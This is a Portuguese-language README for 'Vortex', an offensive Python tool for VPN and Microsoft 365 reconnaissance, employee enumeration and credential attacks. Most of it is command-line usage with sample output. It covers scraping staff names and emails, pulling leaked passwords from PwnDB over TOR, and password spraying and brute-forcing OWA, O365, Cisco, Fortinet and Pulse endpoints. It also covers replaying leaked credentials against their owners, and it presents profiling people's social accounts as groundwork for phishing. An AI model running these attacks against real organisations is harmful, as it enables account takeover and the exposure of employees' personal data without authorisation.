
Kit de Ferramentas de Reconhecimento, Teste, Enumeração e Exploração Geral de VPN
🚩 Este é o repositório público do vortex, para a versão mais recente e atualizações, considere nos apoiar através de https://porchetta.industries/
Kit de Reconhecimento, Teste, Enumeração e Exploração Geral de VPN
Se você deseja patrocinar este projeto e ter as últimas atualizações do vortex, últimas correções de problemas, últimas funcionalidades, apoie-nos em https://porchetta.industries/
Venha bater um papo no Discord!
Um framework Python muito simples, inspirado pelo [SprayingToolkit][1], que tenta automatizar a maior parte do processo necessário para detectar, enumerar e atacar endpoints comuns de O365 e VPN (como Cisco, Citrix, Fortinet, Pulse, etc...).
Tornar a fase de pulverização de VPN muito mais rápida e fácil. Além disso, devido à sua flexibilidade, esta ferramenta pode ser adicionada a um fluxo de trabalho OSINT existente com bastante facilidade.
O Vortex fornece principalmente assistência na execução das seguintes tarefas:
Instale os pré-requisitos com pip3 da seguinte forma:``` sudo -H pip3 install -r requirements.txt
### Instalar com Virtualenv
Caso contrário, pode instalar os pré-requisitos usando um ambiente virtual:
###### No Windows```
virtualenv venv
venv\Scripts\activate
pip install -r requirements.txt
python3 -m virtualenv venv source venv/bin/activate pip install -r requirements.txt
## Uso
Usar a ferramenta é bastante simples, mas há um fluxo de trabalho a ser respeitado. A ferramenta
usa um banco de dados SQLite para armazenar informações sobre o ataque atual.
### Workspace
O workspace representa o arquivo de banco de dados usado pela ferramenta. O nome deve ser apenas um
nome simples para rotular o ataque, projeto ou alvo atual.
A cada workspace é atribuído um banco de dados SQLite. Quando você especifica um nome de workspace, como:```
python manage.py -w workspace1
O que você está realmente dizendo é "Quero operar no arquivo workspace1.db".
Para funcionar corretamente, o Vortex precisa inicializar o DB com os esquemas corretos. Para fazer isso, a única coisa a fazer é executar o comando:``` python manage.py -w workspace1 db -c init
Se um utilizador tentar pular esta fase, o Vortex apenas imprimirá no ecrã o comando correto para executar primeiro.```
[-] Workspace not initialized. Please initialise it using:
python manage.py -w workspace1 db -c init
Em vez disso, ao executar o mesmo comando contra uma base de dados existente e inicializada, o Vortex pedirá confirmação antes de sobrescrever o ficheiro DB:``` [-] The DB file exists and it was initialised, overwrite? [y|n] $> y
### Ações e comandos
O Vortex funciona com um argumento posicional, a 'Action', e outros valores chaveados.
O mais importante entre eles é o argumento de comando (`-c cmd`). Em combinação com
o valor da ação, o comando define o que o Vortex deve fazer.
É possível ver a lista de ações suportadas a partir da Ajuda:```
python manage.py -h
Vortex: VPN Overall Reconnaissance, Enumeration and eXploitation
positional arguments:
{db,domain,import,office,profile,search,tor,validate,vpn}
Action to execute
optional arguments:
-h, --help show this help message and exit
-w WORKSPACE, --workspace WORKSPACE
Workspace to use
-c COMMAND, --command COMMAND
Command for the action
-D DOMAIN, --domain DOMAIN
Domain under attack
-C COMPANY, --company COMPANY
Company under attack
-l LOCATION, --location LOCATION
Location of the company under attack (IE, UK, US, ...)
-u URL, --url URL VPN Endpoint Origin (schema://domain:port)
-t ENDPOINT_TYPE, --endpoint-type ENDPOINT_TYPE
Target Endpoint Type
-U USER, --user USER User name
-E EMAIL, --email EMAIL
User email
-N NAME, --name NAME User full name
-R ROLE, --role ROLE User job
-s SQL, --sql SQL SQL statement
-O EXPORT_FILE, --export-file EXPORT_FILE
Export file
-Q QUOTES, --quotes QUOTES
Produce an Excel safe CSV
-nh, --no-headers Remove CSV headers
-k KEYWORDS, --keywords KEYWORDS
Search keywords
-P PASSWORDS_FILE, --passwords-file PASSWORDS_FILE
Password file for spraying
-L, --leaks Use leaks for spraying
-I IMPORT_FILE, --import-file IMPORT_FILE
Import file
Como é observável na ajuda, a lista de comandos suportados por ação não é especificada em nenhum lugar. Isso porque não é necessário especificar um comando diretamente. Na verdade, se um comando não for especificado, o Vortex pedirá ao usuário que selecione um entre os comandos disponíveis para a ação especificada.``` python manage.py -w workspace1 db
,d#####F^ ,yy############yy ^9#######, ,######" y###################by ^9######, ######^ y#####F"" ^"9######y "######] d#####^ ,#####" by klezVirus ^9#####, ^######, ,#####] ,####F yy#######y, ^9####b ^###### [##### ####F ,###F""'"9####, 9####] 9##### #####F [#### ,##F^ yy "###b 9####, ^#####] #####] [###] ### dF""#b ^###] ^####] #####] 9####b [#### 9##, 9bd [#] [##b ##### [##### [##### ####, 9##y, ,y##^ d##F ##### [####] #####b ^####y ^"#####" d###^ ,####] d##### [#####, ^####by ,d###^ d####^ #####F 9#####y "#####byyyyyyd####F^ d####F [#####9 9#####b, ""############"^ ,d####F ,###### ^######b, ""'""'"^ ,d#####F d#####F
[*] Select a command: 0 : init 1 : sql 2 : add-endpoint 3 : add-user 4 : drop-user 5 : truncate-table 6 : export $>
O mesmo se aplica para argumentos necessários por uma rotina específica. Se um argumento for
difícil de ser inserido em tempo de execução, o Vortex lembrará gentilmente o usuário de que
o parâmetro é obrigatório. Caso contrário, o Vortex guiará o usuário na seleção
ou inserção dos argumentos necessários.
Por exemplo, se um usuário quisesse exportar uma tabela específica ou até mesmo uma coluna, a única coisa necessária
seria iniciar o comando de exportação, como observável na imagem abaixo:

Esse tipo de comportamento torna o Vortex muito fácil de usar.
### Fluxo de Trabalho Geral
O Vortex foi projetado para aderir a um fluxo de operação específico, resumido no esquema
abaixo:

### Operações
#### Coletar usuários
A coleta de usuários válidos para um alvo específico pode ser feita usando três fontes diferentes:
* LinkedIn
Esta fonte foi removida por violação das políticas de usuário do LinkedIn.
Você ainda pode operar no LinkedIn usando [GoMapEnum](https://github.com/nodauf/GoMapEnum),
e então importar os endereços de e-mail usando o comando `import`.
Novamente, esteja ciente de que usar esta funcionalidade é uma violação do contrato de
usuário do LinkedIn, conforme observável no ponto [8.2](https://www.linkedin.com/legal/user-agreement#dos)
do contrato de usuário do LinkedIn:
> Você concorda que não irá: [...]
> 2. Desenvolver, apoiar ou usar software, dispositivos, scripts, robôs ou qualquer outro meio ou processo (incluindo crawlers, plugins de navegador e add-ons ou qualquer outra tecnologia) para fazer scraping dos Serviços ou de outra forma copiar perfis e outros dados dos Serviços;
* CrossLinked
Para substituir parcialmente a funcionalidade acima, a ferramenta incorpora uma versão adaptada do
[CrossLinked](https://github.com/m8r0wn/CrossLinked). Esta ferramenta tentará detectar funcionários de uma empresa usando o Google e o Bing.
Certamente não é o mesmo que pesquisar diretamente no LinkedIn, mas é
bastante útil.
Para operar corretamente, a ferramenta perguntará ao usuário qual formato deve ser usado
para nomes de usuário (i.e., john.doe, j.doe ou d.john) e qual é o domínio padrão
usado pelo domínio alvo.```
python manage.py -w workspace1 search -c crosslinked -D evilcorp.com -C "Evil Corporation"
,d#####F^ ,yy############yy ^9#######,
,######" y###################by ^9######,
######^ y#####F"" ^"9######y "######]
d#####^ ,#####" by klezVirus ^9#####, ^######,
,#####] ,####F yy#######y, ^9####b ^######
[##### ####F ,###F""'"9####, 9####] 9#####
#####F [#### ,##F^ yy "###b 9####, ^#####]
#####] [###] ### dF""#b ^###] ^####] #####]
9####b [#### 9##, 9bd [#] [##b ##### [#####
[##### ####, 9##y, ,y##^ d##F ##### [####]
#####b ^####y ^"#####" d###^ ,####] d#####
[#####, ^####by ,d###^ d####^ #####F
9#####y "#####byyyyyyd####F^ d####F [#####9
9#####b, ""############"^ ,d####F ,######
^######b, ""'""'"^ ,d#####F d#####F
[+] Select a format for usernames
0: firstlast
1: lastfirst
2: first.last
3: last.first
4: last.f
5: flast
6: lfirst
7: f.last
8: l.first
9: first
10: last
$> 2
[*] Starting search on Google and Bing with CrossLinked
[>] Searching google for valid employee names at "Evil Corporation"
[>] Searching bing for valid employee names at "Evil Corporation"
[>] Found 133 LinkedIn accounts!
[*] Updating DB ...
[+] Done!
Esta fonte é operada usando uma versão reduzida e modificada do theHarvester. A ferramenta tentará extrair nomes/e-mails do Google (Coleta Passiva) usando Google Dorks, e do site da empresa (Coleta Ativa).``` python manage.py -w workspace1 search -c google -D evilcorp.com
[] Starting passive/active search on Google [] (PASSIVE) Searching for emails NOT within the domain's site: evilcorp.com -site:evilcorp.com [*] (ACTIVE) Searching for emails within the domain's sites: evilcorp.com [+] Scraping any emails from: https://evilcorp.com [+] Scraping any emails from: https://www.facebook.com/EvilCorp/ ...
[email protected] [email protected] [>] Found 2 mail [*] Updating DB ... [+] Done!
* PwnDB
Esta fonte é operada usando uma versão portada da implementada no [sn0int](https://github.com/kpcyrd/sn0int).
**Nota**: esta funcionalidade requer estar conectado à rede TOR. No Windows, é possível usar a versão embutida fornecida com o Vortex. No Linux, por outro lado, é necessário instalar o pacote tor (ou seja, `sudo apt-get install tor` no Kali).
##### Iniciar TOR```
python manage.py -w workspace1 tor -c start
[*] Starting TOR Browser, click on connect
python manage.py -w workspace1 search -c pwndb -D evilcorp.com
[] Starting search on PwnDB [>] Found 493 leaked accounts! [] Updating DB ... [+] Done!
##### Parar TOR```
python manage.py -w workspace1 tor -c stop
[*] Stopping TOR browser
Vortex usa principalmente duas macro-categorias para endpoints: VPN e endpoints Microsoft (Office). Um alvo pode ser adicionado tanto como um endpoint Office ou VPN, e o Vortex tentará validar o endpoint como um endpoint Office ou VPN, respectivamente, usando uma gama de validadores.
Vamos esclarecer com um exemplo. O usuário precisa atacar o alvo evilcorp.com,
e quer verificar se o domínio é um alvo OWA, Lync, ADFS ou O365.```
python manage.py -w workspace1 office -c add -D evilcorp.com
[#] OWA domain appears to be hosted internally [+] evilcorp.com is a valid OWA target! [-] evilcorp.com does not seem a valid LYNK target [-] evilcorp.com does not seem a valid ADFS target [-] evilcorp.com does not seem a valid IMAP target [+] evilcorp.com is a valid O365 target!
##### Pesquisar subdomínios para endpoints VPN
Para endpoints VPN, o usuário pode realizar uma pesquisa de subdomínio para encontrar hosts que executam logins web de VPN,
como este:```
python manage.py -w workspace1 domain -c enum -D evilcorp.com
,d#####F^ ,yy############yy ^9#######,
,######" y###################by ^9######,
######^ y#####F"" ^"9######y "######]
d#####^ ,#####" by klezVirus ^9#####, ^######,
,#####] ,####F yy#######y, ^9####b ^######
[##### ####F ,###F""'"9####, 9####] 9#####
#####F [#### ,##F^ yy "###b 9####, ^#####]
#####] [###] ### dF""#b ^###] ^####] #####]
9####b [#### 9##, 9bd [#] [##b ##### [#####
[##### ####, 9##y, ,y##^ d##F ##### [####]
#####b ^####y ^"#####" d###^ ,####] d#####
[#####, ^####by ,d###^ d####^ #####F
9#####y "#####byyyyyyd####F^ d####F [#####9
9#####b, ""############"^ ,d####F ,######
^######b, ""'""'"^ ,d#####F d#####F
[*] Starting subdomain passive enumeration
[>] Found 10 subdomains
[$] Elapsed time: 18.360117197036743
[*] Enumerating potential VPN endpoints (HTTPS on 443, 10443)
[>] Found 1 hosts running an SSL webserver
[$] Elapsed time: 18.916626691818237
[*] Trying to detect hosts with VPN web-login
[>] Found 1 hosts with a VPN web login
[$] Elapsed time: 32.919618368148804
[*] Updating DB...
[+] Adding vpn.evilcorp.com:443 as a pulse target
[>] Elapsed time: 18.920615434646606
[+] Done
Para adicionar manualmente endpoints VPN, claro, especificar o domínio de topo provavelmente não seria suficiente. A maneira correta seria especificar um subdomínio específico juntamente com a porta específica em que o Servidor Web VPN está sendo executado.``` python manage.py -w workspace1 vpn -c add -D vpn.evilcorp.com:443
[+] vpn.evilcorp.com:443 is a pulse target!
#### Realizar um ataque de password spray ou bruteforce contra OWA, ADFS, LYNC ou O365
Para realizar um ataque de password spray ou mesmo bruteforce, o único recurso necessário é uma lista de senhas na forma de um arquivo de texto, com uma senha por linha.```
python manage.py -w workspace1 office -c attack -P passwords.txt
,d#####F^ ,yy############yy ^9#######,
,######" y###################by ^9######,
######^ y#####F"" ^"9######y "######]
d#####^ ,#####" by klezVirus ^9#####, ^######,
,#####] ,####F yy#######y, ^9####b ^######
[##### ####F ,###F""'"9####, 9####] 9#####
#####F [#### ,##F^ yy "###b 9####, ^#####]
#####] [###] ### dF""#b ^###] ^####] #####]
9####b [#### 9##, 9bd [#] [##b ##### [#####
[##### ####, 9##y, ,y##^ d##F ##### [####]
#####b ^####y ^"#####" d###^ ,####] d#####
[#####, ^####by ,d###^ d####^ #####F
9#####y "#####byyyyyyd####F^ d####F [#####9
9#####b, ""############"^ ,d####F ,######
^######b, ""'""'"^ ,d#####F d#####F
[*] Choose an endpoint type to attack, or all to attack any supported endpoint
0 : owa
1 : lync
2 : imap
3 : adfs
4 : o365
5 : all
$> 4
[*] Running O365Enumerator
[-] [email protected]:MrRobot2021! is not valid.
[+] [email protected]:Joanna2021! is valid!
[>] Found 1 valid logins
[*] Updating Db...
[+] Done
Para realizar um ataque de pulverização de senhas ou até mesmo de força bruta, o único recurso necessário é uma lista de senhas no formato de um arquivo de texto, com uma senha por linha.``` python manage.py -w workspace1 vpn -c attack -P passwords.txt
,d#####F^ ,yy############yy ^9#######, ,######" y###################by ^9######, ######^ y#####F"" ^"9######y "######] d#####^ ,#####" by klezVirus ^9#####, ^######, ,#####] ,####F yy#######y, ^9####b ^###### [##### ####F ,###F""'"9####, 9####] 9##### #####F [#### ,##F^ yy "###b 9####, ^#####] #####] [###] ### dF""#b ^###] ^####] #####] 9####b [#### 9##, 9bd [#] [##b ##### [##### [##### ####, 9##y, ,y##^ d##F ##### [####] #####b ^####y ^"#####" d###^ ,####] d##### [#####, ^####by ,d###^ d####^ #####F 9#####y "#####byyyyyyd####F^ d####F [#####9 9#####b, ""############"^ ,d####F ,###### ^######b, ""'""'"^ ,d#####F d#####F
[] Choose an endpoint type to attack, or all to attack any supported endpoint 0 : cisco 1 : citrix 2 : citrixlegacy 3 : fortinet 4 : pulse 5 : sonicwall 6 : all $> 6 [] Attacking vpn.evilcorp.com:443 [-] [email protected]:MrRobot2021! is not valid. [+] [email protected]:Joanna2021! is valid! [>] Found 1 valid logins [*] Updating Db... [+] Done
#### Perform a password spray ou bruteforce usando credenciais vazadas
Como o Vortex mantém o controle das credenciais vazadas no PwnDB, um usuário pode optar por testar todas as credenciais vazadas em vez de fornecer um arquivo de senhas.
No entanto, considere que esse comportamento é muito diferente de um ataque de password spray normal.
Em um ataque normal de password spray, de fato, uma única senha é testada contra todos os usuários.
Em um ataque de credenciais vazadas, as credenciais vazadas são testadas contra o usuário específico para o qual foram vazadas.
Então, como exemplo, se o Vortex encontrou os vazamentos:```
User Leaks
---------------------------- ----------------------------
[email protected] ["ISecretlyLoveAngela2020!"]
[email protected] ["Puppy19!", "MySweetJ111!"]
O Vortex executará as seguintes tentativas, e apenas as seguintes:``` [email protected]:ISecretlyLoveAngela2020! [email protected]:Puppy19! [email protected]:MySweetJ111!
Para realizar este ataque, nenhum arquivo de senha é necessário, mas é preciso definir o parâmetro (-L, ou --leaks).```
python manage.py -w workspace1 vpn -c attack -L
,d#####F^ ,yy############yy ^9#######,
,######" y###################by ^9######,
######^ y#####F"" ^"9######y "######]
d#####^ ,#####" by klezVirus ^9#####, ^######,
,#####] ,####F yy#######y, ^9####b ^######
[##### ####F ,###F""'"9####, 9####] 9#####
#####F [#### ,##F^ yy "###b 9####, ^#####]
#####] [###] ### dF""#b ^###] ^####] #####]
9####b [#### 9##, 9bd [#] [##b ##### [#####
[##### ####, 9##y, ,y##^ d##F ##### [####]
#####b ^####y ^"#####" d###^ ,####] d#####
[#####, ^####by ,d###^ d####^ #####F
9#####y "#####byyyyyyd####F^ d####F [#####9
9#####b, ""############"^ ,d####F ,######
^######b, ""'""'"^ ,d#####F d#####F
[*] Choose an endpoint type to attack, or all to attack any supported endpoint
0 : cisco
1 : citrix
2 : citrixlegacy
3 : fortinet
4 : pulse
5 : sonicwall
6 : all
$> 6
[*] Attacking vpn.evilcorp.com:443
[+] [email protected]:ISecretlyLoveAngela2020! is valid!
[-] [email protected]:Puppy19! is not valid.
[-] [email protected]:MySweetJ111! is not valid.
[>] Found 1 valid logins
[*] Updating Db...
[+] Done
Isso é basicamente tudo. Às vezes, a ferramenta pode pedir mais informações antes de realizar um ataque, como selecionar o VPN realm/group.
A qualquer momento, você pode ver logins válidos que encontrou usando o seguinte comando:``` python manage.py db -w workspace1 -c found-logins [+] Valid Logins Collected: ID Target E-Mail Password
1 vpn.evilcorp.com:443 [email protected] Joanna2021! 2 vpn.evilcorp.com:443 [email protected] ISecretlyLoveAngela2020! [+] Done
#### Procurando Perfis de Redes Sociais
Às vezes, em grandes compromissos, saber um pouco mais sobre nossos alvos nos ajudou a
violar suas defesas, como usar e-mails pessoais ou contas sociais para phishing,
ou também encontrar respostas para perguntas de segurança de redefinição de senhas.
Por esta razão, integrei o [Profil3r](https://github.com/Greyjedix/Profil3r). Esta ferramenta
tenta identificar contas de redes sociais potencialmente relacionadas a um indivíduo.
**NOTA IMPORTANTE**: O Profil3r tenta localizar perfis válidos usando combinação de nomes. Não pode
garantir que os perfis encontrados estejam realmente relacionados à pessoa alvo. Por esta razão, os
perfis não são adicionados automaticamente ao Vortex DB.
Atualmente, é possível operar com o Profil3r em dois modos:
* modo-único
* multi-modo
O modo-único opera sobre um conjunto de palavras-chave fornecidas pelo usuário:```
python manage.py -w workspace1 profile -c single -k elliot -k alderson
,d#####F^ ,yy############yy ^9#######,
,######" y###################by ^9######,
######^ y#####F"" ^"9######y "######]
d#####^ ,#####" by klezVirus ^9#####, ^######,
,#####] ,####F yy#######y, ^9####b ^######
[##### ####F ,###F""'"9####, 9####] 9#####
#####F [#### ,##F^ yy "###b 9####, ^#####]
#####] [###] ### dF""#b ^###] ^####] #####]
9####b [#### 9##, 9bd [#] [##b ##### [#####
[##### ####, 9##y, ,y##^ d##F ##### [####]
#####b ^####y ^"#####" d###^ ,####] d#####
[#####, ^####by ,d###^ d####^ #####F
9#####y "#####byyyyyyd####F^ d####F [#####9
9#####b, ""############"^ ,d####F ,######
^######b, ""'""'"^ ,d#####F d#####F
[*] Starting single profile search
...
└── FACEBOOK ✔️
├──https://facebook.com/elliot
├──https://facebook.com/alderson
├──https://facebook.com/elliotalderson
├──https://facebook.com/aldersonelliot
├──https://facebook.com/elliot.alderson
├──https://facebook.com/alderson.elliot
...
[+] Done!
O modo múltiplo opera com o primeiro e o último nome de cada usuário no banco de dados. Qualquer palavra-chave adicional passada no modo múltiplo é usada em combinação com o primeiro e o último nome dos usuários. Assim, por exemplo, você pode usar nomes ou números adicionais para personalizar a pesquisa de perfil.``` python manage.py -w workspace1 profile -c multi -k 90
,d#####F^ ,yy############yy ^9#######, ,######" y###################by ^9######, ######^ y#####F"" ^"9######y "######] d#####^ ,#####" by klezVirus ^9#####, ^######, ,#####] ,####F yy#######y, ^9####b ^###### [##### ####F ,###F""'"9####, 9####] 9##### #####F [#### ,##F^ yy "###b 9####, ^#####] #####] [###] ### dF""#b ^###] ^####] #####] 9####b [#### 9##, 9bd [#] [##b ##### [##### [##### ####, 9##y, ,y##^ d##F ##### [####] #####b ^####y ^"#####" d###^ ,####] d##### [#####, ^####by ,d###^ d####^ #####F 9#####y "#####byyyyyyd####F^ d####F [#####9 9#####b, ""############"^ ,d####F ,###### ^######b, ""'""'"^ ,d#####F d#####F
[*] Starting per-user profile search [>] Searching profiles for Elliot Alderson. Additional keywords: 90 ... └── TWITTER ✔️ ├──https://twitter.com/ElliotAlderson ├──https://twitter.com/AldersonElliot ├──https://twitter.com/Elliot90 ├──https://twitter.com/90Elliot ├──https://twitter.com/Alderson90 ... [>] Searching profiles for Tom Wellick. Additional keywords: 90 ... └── TWITTER ✔️ ├──https://twitter.com/Tom ├──https://twitter.com/Wellick ├──https://twitter.com/90 ├──https://twitter.com/Tom90 ├──https://twitter.com/90Tom ... [+] Done!
#### Importando Dados Externos
O Vortex também oferece suporte para importar dados externos relacionados a usuários ou endpoints. Atualmente, apenas arquivos de texto simples são suportados e há suporte limitado para CSV também.
Os tipos de dados que podem ser importados até agora são:
* Endereços de e-mail
* Nomes de usuário
* Endpoints VPN (target:port)
* Domínios
* ~~Vazamentos do PwnDB~~ OBSOLETO: use apenas o comando search
* Dados do LinkedIn extraídos com ~~Blues~~
Cada tipo de dado é suportado no formato de arquivo de texto normal, um elemento por linha.
## Roteiro
Novas funcionalidades estão chegando em breve (2022):
* Geração inteligente de listas de senhas
* Extração e correlação de dados
Por favor, envie bugs, sugestões ou solicitações de funcionalidades.
## Créditos
* [byt3bl33d3r](https://twitter.com/byt3bl33d3r): Pelo seu incrível trabalho no [SprayingToolkit][1], que inspirou o projeto
* [nodauf](https://twitter.com/nodauf): Pelo seu trabalho no [GoMapEnum](https://github.com/nodauf/GoMapEnum), que me deu outras ideias
* [quasart](https://github.com/quasart): O logotipo foi gerado com [spiral](https://github.com/quasart/spiral)
* [m8r0wn](https://twitter.com/m8r0wn): Pelo seu trabalho no [CrossLinked](https://github.com/m8r0wn/CrossLinked), que é realmente uma ferramenta incrível
* [Greyjedix](https://github.com/Greyjedix/): Pelo seu trabalho no [Profil3r](https://github.com/Greyjedix/Profil3r), que é uma ferramenta muito útil em certas circunstâncias
[1]: https://github.com/byt3bl33d3r/SprayingToolkit